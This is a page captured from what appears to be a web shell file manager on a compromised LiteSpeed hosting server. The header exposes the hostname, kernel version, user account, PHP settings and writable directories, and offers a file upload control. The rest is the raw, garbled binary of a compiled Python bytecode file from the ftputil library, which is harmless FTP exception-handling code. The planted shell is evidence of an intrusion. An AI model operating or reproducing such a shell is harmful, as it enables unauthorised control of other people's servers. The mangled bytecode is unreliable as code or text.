Server : LiteSpeed
System : Linux server51.dnsbootclub.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : nandedex ( 1060)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /opt/cppython/lib/python3.8/site-packages/ftputil/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]


Current File : //opt/cppython/lib/python3.8/site-packages/ftputil/__pycache__/error.cpython-38.pyc
U

O��gc�
@srdZddlZddlZddlZddlZddddddd	d
ddd
ddg
ZGdd�de�ZGdd�de�Z	Gdd�de	�Z
Gdd�de	�ZGdd�de	�ZGdd
�d
e	�Z
Gdd�de	�ZGdd	�d	e	�ZGdd�de	�ZGdd�dee�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd �d e�ZGd!d
�d
e�ZGd"d#�d#�Ze�ZGd$d�dee�ZGd%d&�d&�Ze�ZdS)'z0
ftputil.error - exception classes and wrappers
�N�CommandNotImplementedError�
FTPIOError�
FTPOSError�InaccessibleLoginDirError�
InternalError�KeepAliveError�NoEncodingError�ParserError�PermanentError�RootDirError�	SyncError�TemporaryError�TimeShiftErrorcs.eZdZdZdd��fdd�
Zdd�Z�ZS)�FTPErrorz&
    General ftputil error class.
    N)�original_errorcs�t�j|�d|_|dk	r@zt|�|_Wqvtk
r<YqvXn6|rvztj�|dtjj	�|_Wnt
k
rtYnXd|_zt|jdd��|_Wnt
k
r�YnXd|_dS)N�r�)�super�__init__�strerror�str�	Exception�ftputil�tool�as_str�
path_encoding�DEFAULT_ENCODING�	TypeError�errno�int�
ValueError�	file_name)�selfr�args��	__class__��:/opt/cppython/lib/python3.8/site-packages/ftputil/error.pyr*s*�
zFTPError.__init__cCsd�|jtjj�S)Nz{}
Debugging info: {})�formatrr�version�version_info�r"r&r&r'�__str__Js�zFTPError.__str__)�__name__�
__module__�__qualname__�__doc__rr,�
__classcell__r&r&r$r'r%s rc@seZdZdZdS)rzInternal error.N�r-r.r/r0r&r&r&r'rRsc@seZdZdZdS)rz;Raised for generic stat calls on the remote root directory.Nr2r&r&r&r'rXsc@seZdZdZdS)rz6May be raised if the login directory isn't accessible.Nr2r&r&r&r'r^sc@seZdZdZdS)rz%Raised for invalid time shift values.Nr2r&r&r&r'rdsc@seZdZdZdS)r	z7Raised if a line of a remote directory can't be parsed.Nr2r&r&r&r'r	jsc@seZdZdZdS)�CacheMissErrorz*Raised if a path isn't found in the cache.Nr2r&r&r&r'r3psr3c@seZdZdZdS)rz6Raised if session instances don't specify an encoding.Nr2r&r&r&r'rvsc@seZdZdZdS)rz(Raised if the keep-alive feature failed.Nr2r&r&r&r'r}sc@seZdZdZdS)rz'Generic FTP error related to `OSError`.Nr2r&r&r&r'r�sc@seZdZdZdS)r
z&Raised for temporary FTP errors (4xx).Nr2r&r&r&r'r
�sc@seZdZdZdS)r
z&Raised for permanent FTP errors (5xx).Nr2r&r&r&r'r
�sc@seZdZdZdS)rz?Raised if the server doesn't implement a certain feature (502).Nr2r&r&r&r'r�sc@seZdZdZdS)�RecursiveLinksErrorz1Raised if an infinite link structure is detected.Nr2r&r&r&r'r4�sr4c@seZdZdZdS)rz4Raised for problems specific to syncing directories.Nr2r&r&r&r'r�sc@s eZdZdZdd�Zdd�ZdS)�FtplibErrorToFTPOSErrorze
    Context manager to convert `ftplib` exceptions to exceptions derived from
    `FTPOSError`.
    cCsdS�Nr&r+r&r&r'�	__enter__�sz!FtplibErrorToFTPOSError.__enter__cCs�|dkrdSt|tj�r,t|jd|i�|�nzt|tj�r�|jrptj�|jdtj	j
��d�rpt|jd|i�|�q�t
|jd|i�|�n"t|tj�r�t|jd|i�|�n�dS)NrrZ502)�
isinstance�ftplibZ
error_tempr
r#�
error_permrrrrr�
startswithrr
�
all_errorsr�r"�exc_type�	exc_value�	tracebackr&r&r'�__exit__�sD�����������z FtplibErrorToFTPOSError.__exit__N�r-r.r/r0r7rAr&r&r&r'r5�sr5c@seZdZdZdS)rz'Generic FTP error related to `IOError`.Nr2r&r&r&r'r�sc@s eZdZdZdd�Zdd�ZdS)�FtplibErrorToFTPIOErrorzT
    Context manager to convert `ftplib` exceptions to `FTPIOError` exceptions.
    cCsdSr6r&r+r&r&r'r7�sz!FtplibErrorToFTPIOError.__enter__cCs2|dkrdSt|tj�r,t|jd|i�|�n�dS)Nr)r8r9r<rr#r=r&r&r'rA�s
z FtplibErrorToFTPIOError.__exit__NrBr&r&r&r'rC�srC)r0r9Zftputil.path_encodingrZftputil.toolZftputil.version�__all__rrrrrrr	r3rr�OSErrorrr
r
rr4rr5Zftplib_error_to_ftp_os_error�IOErrorrrCZftplib_error_to_ftp_io_errorr&r&r&r'�<module>sL�-$

F1le Man4ger